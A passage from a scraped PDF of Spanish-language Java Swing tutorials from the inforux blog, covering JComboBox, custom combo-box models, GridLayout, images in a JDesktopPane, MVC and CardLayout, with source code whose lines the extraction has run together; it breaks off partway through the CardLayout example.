Aqui el pantallazo

Page 130: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 130/169

 

Como ven. no es complicado mostrar un jFileChooser, solo una simple linea lo haces

Saludos!

Aprendiendo con JComboBox… Parte 1 

holas la verdad q llevaba algunos dias q no posteaba, creanme q he tenido motivos fuertes,…jeje en fin creo q fuera de bromas, realizar una tesis, si q es comprometedor!…en verdad

lo es!.

bien, en esta oportunidad seguire mostrandoles lo aprendido, Hoy escribire sobre elJComboBox.

JComboBox, es un componente de java q nos sirve para controlar la selecion del usuariofinal a un determinado conjunto de tipos, algo asi es la idea, ademas creoq eso la losabran…jeje 

El ejericio q les mostrare, es una aplicacion q tiene 2 JComboBox, el cual el primer combocontrola el contenido del segundo combo, es decir, si selecionas un elemento del primero,el segundo combo, mostrara el contenido respecto a dicha selecion.

Una ves entendido, la logica de la aplicacion, lo implementamos, LA VERDAD ESREALMENTE SENCILLO. Para este caso, tendremos 2(dos) clases WindowDemoComboy ControlDemoCombo.

La primera clase(WindowDemoCombo), es la ventana(JFrame, JLabel, JComboBox… en

fin todos los componentes q actuan en la ventana) q visualiza el usuario.

La segunda clase(ControlDemoCombo), es la clase q controla los eventos, en este caso laaccion de selecion en el primer JComboBox.

Page 131: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 131/169

WindowDemoCombo; Creamos los componentes swing, y CREAMOS un objeto de laclase q controlada sus eventos, en este caso;

ControlDemoCombo controlDemoCombo = new ControlDemoCombo(this);

Veamos q al momento de crearlo estamos pasando ―this‖, esto quiere decir q al momento

de crear la clase q lo controlara, le pasaremos como argumento toda la ventana… es obvia

la idea, le pasamos toda la ventana, para q asi pueda acceder a ella.

Aqui el fuente

/*Demostracion Aprendiendo con JComboBox por inforux.wordpress.com */import javax.swing.*;public class WindowDemoCombo extends javax.swing.JFrame {

/** Creamos el constructor de la misma */public WindowDemoCombo() {

initComponents();}

private void initComponents() {jPanel1 = new JPanel();jLabel1 = new JLabel();

jLabel2 = new JLabel();jLabel3 = new JLabel();jComboBox1 = new JComboBox(pais);//creamos el primer combo, y le

pasamos un array de cadenasjComboBox1.setSelectedIndex(0);//por defecto quiero visualizar el

primer itemjComboBox2 = new JComboBox();//creamo el segundo combo, vaciojComboBox2.setEnabled(false);////por defecto q aparesca

desabilidado

setResizable(false);

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);getContentPane().setLayout(null);

jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder("Aprendiendo con JComboBox"));

jPanel1.setLayout(null);jLabel1.setText("Pais");jPanel1.add(jLabel1);jLabel1.setBounds(30, 30, 50, 20);jPanel1.add(jComboBox1);jComboBox1.setBounds(100, 30, 150, 24);

jPanel1.add(jComboBox2);jComboBox2.setBounds(100, 70, 150, 24);jLabel2.setText("Region");jPanel1.add(jLabel2);jLabel2.setBounds(30, 70, 60, 20);getContentPane().add(jPanel1);jPanel1.setBounds(10, 50, 370, 110);jLabel3.setText("DEMO POR INFORUX");getContentPane().add(jLabel3);jLabel3.setBounds(120, 20, 170, 20);

Page 132: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 132/169

java.awt.Dimension screenSize =java.awt.Toolkit.getDefaultToolkit().getScreenSize();

setBounds((screenSize.width-412)/2, (screenSize.height-213)/2,412, 213);

/*Creamos el objeto controlador, para manejar los eventos*/ControlDemoCombo controlDemoCombo = new

ControlDemoCombo(this);//le pasamos como argumento esta misma ventanajComboBox1.addActionListener(controlDemoCombo);//agregamos

escuchas}public static void main(String args[]) {

new WindowDemoCombo().setVisible(true);}

// Desclaramos las variables autilizarString [] regionArgentina={"Buenos Aires","Cordova","Santa

Cruz"};//array del segundo comboString [] regionColombia={"Bogota","Cartagena","Cali"};//array del

seguno comboString [] regionPeru={"Arequipa","Lima","Piura"};//array del segundo

comboString [] pais={"SelecionePais","Argentina","Colombia","Peru"};//array del primer combo

public JComboBox jComboBox1;public JComboBox jComboBox2;public JLabel jLabel1;private JLabel jLabel2;private JLabel jLabel3;private JPanel jPanel1;

}

ControlDemoCombo: Es una clase controladora de todas las acciones q realize el usuarioen la

ventana(WindoDemoCombo). en este caso, la clase implement de ActionListener, y declarauna variable del tipo

WindowDemoCombo, este nos servira para recibir el valor ―this‖, enviado anteriormente. 

WindowDemoCombo frameDemoCombo;

La idea es preguntar si la accion viene del primer combo

if (evento.getSource()==frameDemoCombo.jComboBox1)

luego, preguntar cual de los elementos ha hecho click, esto lo podemos hacer con el metodogetSelectedIndex(), este nos retorna el numero del indice seleciono.

if (frameDemoCombo.jComboBox1.getSelectedIndex()==0)

despues de saber, cual esta selecionado solo nos queda llenar el segundo combo, no sinantes elimnar, todos los elementos posibles.

Page 133: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 133/169

frameDemoCombo.jComboBox2.removeAllItems();frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionArgentina[i]);

Aqui elfuente:

import java.awt.event.*;

public class ControlDemoCombo implements ActionListener{WindowDemoCombo frameDemoCombo;public ControlDemoCombo(WindowDemoCombo objeto){

frameDemoCombo=objeto;}

public void actionPerformed(ActionEvent evento){

if (evento.getSource()==frameDemoCombo.jComboBox1)//preguntasi el evento viene del primer combo

{/*pregunta si viene del primer elemnto*/if (frameDemoCombo.jComboBox1.getSelectedIndex()==0){

frameDemoCombo.jComboBox2.removeAllItems();frameDemoCombo.jComboBox2.setEnabled(false);}

/*pregunta si viene del segundo elemnto*/if (frameDemoCombo.jComboBox1.getSelectedIndex()==1){frameDemoCombo.jComboBox2.removeAllItems();for (int i=0;

i<frameDemoCombo.regionArgentina.length;i++)

frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionArgentina[i]);frameDemoCombo.jComboBox2.setEnabled(true);}

/*pregunta si viene del tercer elemnto*/if (frameDemoCombo.jComboBox1.getSelectedIndex()==2){

frameDemoCombo.jComboBox2.removeAllItems();for (int i=0;

i<frameDemoCombo.regionColombia.length;i++)

frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionColombia[i]);frameDemoCombo.jComboBox2.setEnabled(true);}

/*pregunta si viene del cuarto elemnto*/if (frameDemoCombo.jComboBox1.getSelectedIndex()==3){

frameDemoCombo.jComboBox2.removeAllItems();for (int i=0; i<frameDemoCombo.regionPeru.length;i++)

frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionPeru[i]);frameDemoCombo.jComboBox2.setEnabled(true);}

}}

}

Y listo ahora , compilar (javac *.java) y Listo, al ejecutar (java WindowDemoCombo),debe aparecer esta pantalla:

Page 134: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 134/169

 

Selecionamos y se activara el segundo combo, con sus respectivos valores del primero.

Funciona!, Espero les sea de utilidad.

Saludos.

Aprendiendo con JComboBox… Parte 2 

JComboBox, es un componente swing, y como tal, podemos crear nuestro propio modelode datos al momento de crear y manipular a este componente(en este caso: jComboBox).Puedes leer MVC en Java para darte la idea general. 

En este caso, el ejercicio intenta mostrar la forma sencilla al momento de implementarnuestro propio Modelo de datos para un componente JComboBox.

Page 135: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 135/169

 

El ejercicio consiste, en una tipica ―barra de direcciones de un navegador‖, ingresas la

direccion, entras a la pagina, luego el navegador comprueba si existe la direccion,en el casode no existir, agrega la direccion de la pagina a la barra de direcciones, para un posteriorfacil acceso.

Bien, para este ejercicio implementaremos 3 clase. la vista(WindowDemoEditaCombo), elcontrol(ControlDemoEditaCombo), y el Modelo del JComboBox (ModeloCombo).

WindowDemoEditaCombo, esta es la clase, que dibuja los componentes swing; En este

caso para crear un JComboBox, necesario primero crear nuestro modelo, el cual recibe unacadena de caracteres, los mismos que seran mostrados como items en el combo.

String [] urls ={"www.java.com","inforux.wordpress.com","www.debian.com"};modeloCombo = new ModeloCombo(urls);jComboBox1 = new JComboBox(modeloCombo);

Aqui el fuente de la vista(la clase WindowDemoEditaCombo).

import javax.swing.*;public class WindowDemoEditaCombo extends javax.swing.JFrame {

public WindowDemoEditaCombo() {/*el constructor de la clase*/initComponents();}

private void initComponents() {setResizable(false);jPanel1 = new JPanel();jLabel2 = new JLabel();modeloCombo = new ModeloCombo(urls);//creamos nuestro modelo del

CombojComboBox1 = new JComboBox(modeloCombo);//creamos el jComboBox,

le enviamos el modelo.jComboBox1.setEditable(true);//le decimos q sea editable

jComboBox1.setSelectedIndex(0);jTextField1 = new JTextField();jTextField1.setEditable(false);//le decimos q sea NO editablejButton1 = new JButton();jLabel1 = new JLabel();

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);getContentPane().setLayout(null);

Page 136: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 136/169

 jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder("Aprendiendo con JComboBox2"));

jPanel1.setLayout(null);

jLabel2.setText("Direccion Web:");jPanel1.add(jLabel2);jLabel2.setBounds(10, 40, 110, 20);

jPanel1.add(jComboBox1);jComboBox1.setBounds(110, 40, 230, 24);jPanel1.add(jTextField1);jTextField1.setBounds(60, 80, 350, 19);

jButton1.setText("Go");jPanel1.add(jButton1);jButton1.setBounds(350, 40, 70, 25);

getContentPane().add(jPanel1);jPanel1.setBounds(10, 30, 440, 120);

jLabel1.setText("DEMO POR INFORUX");getContentPane().add(jLabel1);jLabel1.setBounds(170, 10, 150, 20);

java.awt.Dimension screenSize =java.awt.Toolkit.getDefaultToolkit().getScreenSize();

setBounds((screenSize.width-471)/2, (screenSize.height-190)/2,471, 190);

/*Creamos el objeto controlador de eventos de esta clase*/ControlDemoEditaCombo controlDemoEditaCombo = new

ControlDemoEditaCombo(this);jComboBox1.addActionListener(controlDemoEditaCombo);jButton1.addActionListener(controlDemoEditaCombo);

}

public static void main(String args[]) {new WindowDemoEditaCombo().setVisible(true);}

// declaramos las variables a usar en la ventanapublic String [] urls = {"Escriba o

Selecione","www.java.com","inforux.wordpress.com","www.debian.com"};//creamos el array, q sera enviado a nuestro propio modelo.

ModeloCombo modeloCombo;//Declaramos nuestro modelopublic JButton jButton1;public JComboBox jComboBox1;

private JLabel jLabel1;private JLabel jLabel2;private JPanel jPanel1;public JTextField jTextField1;

}

ControlDemoEditaCombo, es la clase controladora de los eventos q generara el usuario conla aplicacion. por tal motivo implementa los metodos de las clases ActionListener..

Page 137: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 137/169

Aqui el fuente:

import java.awt.event.*;public class ControlDemoEditaCombo implements ActionListener{

WindowDemoEditaCombo frame;

/*el constructor de la clase*/public ControlDemoEditaCombo(WindowDemoEditaCombo objeto){frame=objeto;//recibe el objeto a controlar

}

public void actionPerformed(ActionEvent evento){

if (evento.getSource()==frame.jButton1 ||evento.getSource()==frame.jComboBox1)

{String

cadenaSelecionada=frame.modeloCombo.getSelectedItem().toString();frame.jTextField1.setText("Direccion Web:

"+cadenaSelecionada);//muestra en l jTextFile lo selecionadoif (frame.modeloCombo.buscaItem(cadenaSelecionada)==

false)

frame.modeloCombo.agregaItem(frame.jComboBox1.getSelectedItem().toString());

}}

}

ModeloCombo, es la clase modelo del componente JComboBox. cualquier cambiorealizado en dicha clase, se vera reflejado en el componente JComboBox.

Para crear esta clase, hayq tener en cuenta q sera una clase abstracta, es decir, no sabra en qcomponente se vera reflejado, ademas esta misma debera heredar de la clase―AbstracListModel‖. 

Porq heredar de AbstracListModel? .- Sencillamente porque accedesmo a los metodos masgenerales, y nos permite implementar metodos propios, segun nuestras necesidades.

Tambien debera implementar algunos metodos de la clase ComboBoxModel,

Porq implemenar algunos metodos de la clase ComboBoxModel? .- Porq el componente

swing es un JComboBox. y es un componente algo especial, ya q es una combinacion delistas con botones, ademas para acceder a los metodos ―getSelectedItem()‖ y―setSelectedItem()‖. 

En nuestro caso, aparte de los metodos implementados de la clase ComboBoxModel,hemos codificado algunos metodos adicionales, segun la necesidad del ejercicio.

Aqui el fuente:

Page 138: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 138/169

import javax.swing.AbstractListModel;import javax.swing.ComboBoxModel;class ModeloCombo extends AbstractListModel implements ComboBoxModel{boolean loEncontro;String [] items = null;//cadena q recibira los datos a mostrar.String itemSelecionado=null;public ModeloCombo (String [] vector){

items = vector;}

public Object getElementAt(int index) {return items[index];

}

public int getSize() {return items.length;

}

public void setSelectedItem(Object item) {itemSelecionado = (String) item;

fireContentsChanged(this, -1, -1);}

public void agregaItem(String cadena){String [] nuevoItems= new String [items.length+1];

for (int i=0;i<items.length;i++)nuevoItems[i]=items[i];

nuevoItems[items.length]=cadena;items=nuevoItems;fireContentsChanged(this, -1, -1);

}

public boolean buscaItem(String itemABuscar){for(int i=0;i<items.length;i++){

if (itemABuscar==items[i]){loEncontro=true;break;}

else {loEncontro=false;}

}return loEncontro;

}

public Object getSelectedItem() { //metodo implementado por lainterface JComboBoxModel

return itemSelecionado;}

}

Bien, una compilada, y listo.

$javac WindowDemoEditaCombo.java$java WindowDemoEditaCombo

Listo, aqui algunos pantallazos:

Page 139: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 139/169

 

La idea de esta entrada, es mostrar la eficacia q tenemos si es que nos animamos aimplementar nuesto propio modelo de datos para los componentes swing.

Espero les sirva a mas de uno.

Un saludos.

JAVA: Practicando con GridLayout. 

GridLayout, no es mas q otro manejador de disenio, la cual su partcularidad, conciste encrear una matriz, totalmente configurada.

Primero tenemos que crear el contenedor(JFrame, JPanel, etc), y luego atravez del metodo―setLayout()‖ asignarle el layout correspondiente: 

JFrame frame = new JFrame();frame.setLayout(new GridLayout(Filas, Columnas));

Tambien podemos indicar el espacio entre cada objeto de la matriz.

frame.setLayout(new GridLayout(Filas, Columnas,EspacioEntreFilas,EspacioEntreColumnas));

Creoq con un ejemplo, se entenderia mejor.

PAra el ejemplo, he intentado, realizar una pantalla de calculadora…jejeje, 

Aqui el fuente.

/*Demo hecho por INFORUX*/import javax.swing.JTextField;

import javax.swing.JButton;import javax.swing.JPanel;import java.awt.FlowLayout;import java.awt.GridLayout;import javax.swing.JFrame;import javax.swing.JLabel;import javax.swing.BoxLayout;import javax.swing.WindowConstants;

public class DemoGridLayout{

Page 140: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 140/169

 JFrame frame;JPanel panelSuperior, panelInferior;JButton bt1, bt2, bt3, bt4, bt5, bt6, bt7, bt8, bt9, bt0, btRT, btCE,

btCL, btMas, btMenos, btMul, btDiv, btIgual, btMN, btPunto;JTextField pantalla;

public DemoGridLayout(){construyePanelSuperior();construyePanelInferior();construyeVentana();}

void construyePanelSuperior(){panelSuperior = new JPanel ();panelSuperior.setLayout(new FlowLayout());pantalla = new JTextField(20);panelSuperior.add(pantalla);}

void construyePanelInferior(){panelInferior= new JPanel();

panelInferior.setLayout(new GridLayout(5,4,8,8));bt1=new JButton("1");bt2=new JButton("2");bt3=new JButton("3");bt4=new JButton("4");bt5=new JButton("5");bt6=new JButton("6");bt7=new JButton("7");

bt8=new JButton("8");bt9=new JButton("9");bt0=new JButton("0");btRT=new JButton("Rtc");btCE=new JButton("CE");btCL=new JButton("CL");btMas=new JButton("+");btMenos=new JButton("-");btMul=new JButton("x");btDiv=new JButton("/");btIgual=new JButton("=");btMN=new JButton("+/-");btPunto=new JButton(".");panelInferior.add(btRT);panelInferior.add(btCE);panelInferior.add(btCL);panelInferior.add(btMN);panelInferior.add(bt7);panelInferior.add(bt8);

panelInferior.add(bt9);panelInferior.add(btDiv);panelInferior.add(bt4);panelInferior.add(bt5);panelInferior.add(bt6);panelInferior.add(btMul);panelInferior.add(bt1);panelInferior.add(bt2);panelInferior.add(bt3);panelInferior.add(btMenos);

Page 141: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 141/169

panelInferior.add(bt0);panelInferior.add(btPunto);panelInferior.add(btIgual);panelInferior.add(btMas);}

void construyeVentana(){frame =new JFrame("Calculadora ");frame.setLayout(new

BoxLayout(frame.getContentPane(),BoxLayout.Y_AXIS));frame.add(panelSuperior);frame.add(panelInferior);frame.pack();frame.setVisible(true);frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);}

public static void main(String [] inforux){new DemoGridLayout();}

}

Una compilada, y ejecutamos.

javac DemoGridLayout.javajava DemoGridLayout

El resultado sera asi.

Page 142: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 142/169

 

La idea, es manejar el GridLayout.

Saludos.

Imagenes en JAVA en un JDesktopPane. 

Imagenes en java, es quiza algo muy tedioso. sin embargo, existe formas muy practicas, decomo poner una imagen de fondo a tu aplicacion atravez de un JDesktopPane.

Por eso en esta oportunidad mostrare un ejemplo de seleciones de imagenes dentro de unJDesktopPane,

Page 143: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 143/169

La idea general es impleementar 3 clases(WindowImagenes, ControlaEventos,PintaImagen). La primera clase(WindowImagenes.java) es la interactua con el usuario,mejro dicho la ventana. La segunda clase(ControlaEventos.java), como su mismo nombre,es la encargada de controlar las acciones ocurridas en la ventana. La terceraclase(PintaImagen.java), es la clase que me permite pintar la imagen en algun como

componente java (en este caso jDesktopPane).

La primera clase(WindowImagenes), creamos objetos del tipo ―File‖ y le damos la ruta de

nuestra imagen.

public File imagen1 = new File ("Images/java.png");

Aqui el fuente de WindowImagenes.java

import javax.swing.*;import java.io.File;public class WindowImagenes extends JFrame {

public WindowImagenes() {initComponents();

}

private void initComponents() {

buttonGroup1 = new ButtonGroup();jPanel1 = new JPanel();jRadioButton1 = new JRadioButton();jRadioButton2 = new JRadioButton();jRadioButton3 = new JRadioButton();jPanel2 = new JPanel();jDesktopPane1 = new JDesktopPane();jLabel1 = new JLabel();

setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);setTitle("http://inforux.wordpress.com");getContentPane().setLayout(null);

jPanel1.setBorder(BorderFactory.createTitledBorder("Selecione laImagen"));

jPanel1.setLayout(null);

jRadioButton1.setText("Imagen 1");jPanel1.add(jRadioButton1);jRadioButton1.setBounds(30, 20, 83, 23);

jRadioButton2.setText("Imagen 2");jPanel1.add(jRadioButton2);jRadioButton2.setBounds(170, 20, 83, 23);

jRadioButton3.setText("Imagen 3");jPanel1.add(jRadioButton3);jRadioButton3.setBounds(290, 20, 114, 23);

/*agregamos al ButtonGroup los JRadioButtons*/

Page 144: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 144/169

buttonGroup1.add(jRadioButton1);buttonGroup1.add(jRadioButton2);buttonGroup1.add(jRadioButton3);getContentPane().add(jPanel1);jPanel1.setBounds(20, 50, 440, 60);

jPanel2.setBorder(BorderFactory.createTitledBorder("Imagen en elJDesktopPane"));

jPanel2.setLayout(null);jPanel2.add(jDesktopPane1);jDesktopPane1.setBounds(20, 30, 390, 270);

getContentPane().add(jPanel2);jPanel2.setBounds(20, 120, 440, 330);

jLabel1.setText("DEMO POR INFORUX");getContentPane().add(jLabel1);jLabel1.setBounds(170, 20, 170, 20);

java.awt.Dimension screenSize =

java.awt.Toolkit.getDefaultToolkit().getScreenSize();setBounds((screenSize.width-488)/2, (screenSize.height-493)/2,488, 493);

ControlaEventos controlaEventos =new ControlaEventos(this);jRadioButton1.addActionListener(controlaEventos);jRadioButton2.addActionListener(controlaEventos);jRadioButton3.addActionListener(controlaEventos);

}

public static void main(String args[]) {new WindowImagenes().setVisible(true); }

public File imagen1 = new File ("Images/java.png");public File imagen2 = new File ("Images/JavaAnimado.gif");public File imagen3 = new File ("Images/JavaLoro.jpg");public JRadioButton jRadioButton1;public JRadioButton jRadioButton2;public JRadioButton jRadioButton3;private ButtonGroup buttonGroup1;public JDesktopPane jDesktopPane1;private JLabel jLabel1;private JPanel jPanel1;private JPanel jPanel2;

}

La segunda clase,recibe un objeto de la clase q controlara(en este caso WindowImagenes),

ademas manejara todos los eventos realizados en la ventana. Por otro lado implementara elmetodo ―cargarImagen()‖, el cual recibe, un JDesktopPane, y el archivo Imagen, luego

atravez de la clase ImageIO, podremos leer el archivo, como archivo imagen. para luegoagregarlo al jDesktopPane con el metodo ―setBorder()‖ 

BufferedImage image = ImageIO.read(fileImagen);jDeskp.setBorder(new PintaImagen(image));

Aqui el fuente de ControlaEventos.java

Page 145: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 145/169

import java.awt.event.*;import java.io.File;import java.awt.image.BufferedImage;import javax.imageio.ImageIO;public class ControlaEventos implements ActionListener{/*claseescuchadora de nuestra vista*/

WindowImagenes ventana;/*declaramos un objeto de la claseWindowImagenes*/

public ControlaEventos(WindowImagenes objeto){ventana = objeto;

}public void actionPerformed(ActionEvent evento){

if (evento.getSource()== ventana.jRadioButton1)cargarImagen(ventana.jDesktopPane1,ventana.imagen1);

else {if (evento.getSource()== ventana.jRadioButton2)

cargarImagen(ventana.jDesktopPane1,ventana.imagen2);else {if (evento.getSource()== ventana.jRadioButton3)

cargarImagen(ventana.jDesktopPane1,ventana.imagen3);}}

}/*este metodo recibe el jdeskopPane y el archivo imagen*/public void cargarImagen(javax.swing.JDesktopPane jDeskp,File

fileImagen){

try{BufferedImage image = ImageIO.read(fileImagen);

jDeskp.setBorder(new PintaImagen(image)); }catch (Exception e){ System.out.println("No cargo imagen,

sorry"); }}

}

La ultima clase(PintaImagen.java), es la permite preparar la imagen para ser agregados a uncomponente en este caso del tipo JDesktopPane, esta debera implementar de la ClaseBorder, obligandonos a llamar a 3 metodos ―paintBorder()‖, ―getBorderInsets()‖ y

―isBorderOpaque()‖. 

Aqui el fuente:

import java.awt.Component;import java.awt.Graphics;

import java.awt.Insets;import java.awt.image.BufferedImage;import javax.swing.border.Border;

public class PintaImagen implements Border{

private BufferedImage image ;

public PintaImagen(BufferedImage image ) {this.image=image;}

Page 146: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 146/169

 public void paintBorder(Component c, Graphics g, int x, int y, int

width, int height) {int x0 = x+ (width-image.getWidth())/2;int y0 = y+ (height-image.getHeight())/2;g.drawImage(image,x0,y0,null); }

public Insets getBorderInsets(Component c) {return new Insets(0,0,0,0);}

public boolean isBorderOpaque() {return true; }

}

Luego, compilamos, sin antes asegurarnos de haber dado la ruta correcta del directotio decarptas para los obejros ―File‖ en la clase WindowImagenes 

$jjavac WindowImagenes.java

Listo, aqui los pantallazos:

Page 148: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 148/169

 

MVC (Modelo-Vista-Controlador), en palabras simples, es la forma(Patron de Disenio) queutilizamos los programadores para implementar nuestras aplicaciones, ademas permiteseparar nuestra aplicacion en un modelo, una vista y con controlador. este patron fueintroducido por primera vez en el lenguaje ―Smalltalk‖. 

3 tipos de entidades, cada una especialida en su tarea.

 Modelo:

Es el encargo de administrar la logica de tu aplicacion. tiene como finalidad servir deabstracccion de algun proceso en el mundo real, ademas tiene acceso a nuestra Base deDatos, agregando q tiene las funciones que controlan la integridad del sistema.

Vista

Sencillamente es la representacion visual del modelo. Es la encargada de representar los

componentes visuales en la pantalla, Esta asociada a un Modelo, esto le permite que almomento de cambiar el Modelo, la vista redibujara la parte efectada para reflejar loscambios.

Controlador 

Es el escuchador a los eventos que genere el usuario, es decir es el que permite queinteractuen el usuario con el sistema. Interpreta los eventos (la entradas) atravez del tecladoy/o raton.

Por que usar MVC?

Porque fue diseñada para reducir el esfuerzo al momento de programar. Ademas porquepermite una clara separación entre los componentes de un programa; lo cual nos permiteimplementarlos por separado.

Permite el trabajo en equipo.

 Java implementa MVC?

Page 149: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 149/169

Con decir, que la mayoria de los componentes SWING, han tomado como patron deDisenio a MVC , esto es una gran ventaja para los programadores, porque nos permiteimplementar nuestro PROPIO modelo de datos para cada componente swing.

Sin embargo es bueno recordar que El modelo original MVC prescribía un alto

acoplamiento entre controladores y vistas.

Por que es recomendable tener nuestro Propio Modelo de Datos para nuestros

Compoonentes Swing?

Swing se basa en un modelo MVC, donde la mayor parte de componentes de interfaz(JTable, JList, JComboBox, etc.) tienen un modelo de datos por defecto. Si nos limitamos ausar el modelo propio estaremos utilizando los modelos por defecto de Swing. yobviamente estos modelos utilizan la clase java.util.Vector para el almacenamiento de losdatos lo que provocará que nuestros interfaces pierdan ahorro de recursos.

Por otro lado, mvc nos permite utilzar de la forma que queramos a cualquier componenteswing con tan solo implementar nuestro propio modelo. es decir nos ofrece la posibilidadde trabajar con componentes más eficientes .

Espero haya quedado la idea general, de implementar nuestras aplicaciones tomando comopatron de disenio a MVC.

JAVA: Practicando con CardLayout 

CardLayout, es un manejador de disenio que nos permite, ubicar componentes swingdentro de un mismo contenedor, y poder visualizarlos solamente uno a la vez.

Este layout es usado por los JTabbedPane, con la diferencia de la separacion de los bordesde cada panel.

Es decir, podemos tener un contenedor pricipal, y dentro de el, varios paneles, y atravezde una seleccion, elegir cual de estos paneles queremos q se visualize.

Primero tenemos que crear el contenedor(JFrame, JPanel, etc), y luego atravez del metodo―setLayout()‖ asignarle el layout correspondiente. 

JFrame frame = new JFrame();

frame.setLayout(new CardLayout());

Una vez, asiganado el layout al contenedor, tendremos q agregar los componentes,plenamente ya declarados y creados.

Para agregar necesitamos 2 argumentos, el objeto a agregar, y un nombre referencial alelemento agregado

Page 150: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 150/169

JPanel panel = new JPanel();JPanel pane2 = new JPanel();frame.add(panel, referenciaPanel1);frame.add(pane2, referenciaPanel2);

Sencilo no?, espera, hay unos metodos basicos e importantes, al momento de manejar los

eventos, como son.

 first (nombreContenedor) -> metodo q permite visualizar el primer objeto agregado

 next (nombreContenedor) -> metodo q permite visuliza el objeto siguiente.

 previous (nombreContenedor) -> permite visualizar el objeto anterior

 show (nombreContenedor, referenciaPanel) -> permite visualizar un obejto especificado,aqui necesitamos el nombre del contenedor y el nombre referencial asignado al momentode agregarlo.

Para esta entrada he preparado un ejemplo clasico, para situaciones clasicas…jejee 

 La aplicacio, contiene, 1 JFrame principal, 1 PanelSuperior incluido en el JFrame,1

 JComboBox incluido en el PanelSuperior, 1 PanelInferior incluido en el JFrame, y 3

 paneles incluidos en el PanelInferior.

 El ejemplo consciste en que atravez de un JComboBox, seleccionaremos un elemento de la

lista, y segun el elemento seleccionado, cambiara el panel inferior mostrando uno de los

 paneles incluidos en el., es decir, el panel ira cambiando segun la seleecion del elemento

de la lista del JComboBox.

YA q en este ejericcio he utilizado manejo de eventos, he trabajado con 2 clases, la primera

(WindowCardLayout) es la interfaz de usuario y la segunda (ControlCardLayout) la q

maneja los eventos de la primera. 

Aqui el fuente.WindowCardLayout  

import javax.swing.JButton;import javax.swing.JLabel;import javax.swing.JTextField;import javax.swing.JPanel;import javax.swing.BoxLayout;

import javax.swing.JFrame;import javax.swing.JComboBox;import javax.swing.WindowConstants;import javax.swing.BorderFactory;import java.awt.FlowLayout;import java.awt.CardLayout;import java.awt.Color;

public class WindowCardLayout{

Page 151: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 151/169

JFrame frame;CardLayout cardLayout;JPanel panelSuperior, panelInferior,panelInf1, panelInf2, panelInf3;JLabel etiqueta, etiqueta1, etiqueta2,etiqueta3;JComboBox combo;String [] vectorCadena = {"panel1","panel2","panel3"};

public WindowCardLayout(){/*Constructor*/construyePanelSuperior();construyePanelInf1();construyePanelInf2();construyePanelInf3();construyePanelInferior();construyeVentana();}

public void construyePanelSuperior(){etiqueta = new JLabel("Elegir Opcion");panelSuperior=new JPanel();panelSuperior.setBorder(BorderFactory.createTitledBorder("Demo

por INFORUX"));

combo = new JComboBox(vectorCadena);panelSuperior.setLayout(new FlowLayout());panelSuperior.add(etiqueta);panelSuperior.add(combo);panelSuperior.getPreferredSize();}

public void construyePanelInferior(){panelInferior= new JPanel();panelInferior.setBorder(BorderFactory.createTitledBorder("Panel

Inferior"));cardLayout=new CardLayout();panelInferior.setLayout(cardLayout);/*Al agregar necesitamos 2 argumentos, el objeto a agregar y un

nombre referencial */panelInferior.add(panelInf1, "panel1");panelInferior.add(panelInf2, "panel2");panelInferior.add(panelInf3, "panel3");}

public void construyePanelInf1(){etiqueta1 = new JLabel("Has Seleccionado el Panel 1");panelInf1 = new JPanel(new FlowLayout());panelInf1.setBackground(Color.white);panelInf1.add(etiqueta1);}

public void construyePanelInf2(){etiqueta2 = new JLabel("increiblemente estas viendo el panel2");panelInf2 = new JPanel(new FlowLayout());

panelInf2.setBackground(Color.orange);panelInf2.add(etiqueta2);}

public void construyePanelInf3(){etiqueta3 = new JLabel("CardLayout permite solo uno a la vez,

esta vez el panel 3");panelInf3 = new JPanel(new FlowLayout());panelInf3.setBackground(Color.green);panelInf3.add(etiqueta3);}

Page 152: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 152/169

public void construyeVentana(){frame= new JFrame();frame.setLayout(new

BoxLayout(frame.getContentPane(),BoxLayout.Y_AXIS));frame.add(panelSuperior);frame.add(panelInferior);frame.getPreferredSize();frame.pack();frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);frame.setVisible(true);//creamos el objeto controlador de eventosControlCardLayout control= new ControlCardLayout(this);combo.addActionListener(control);}

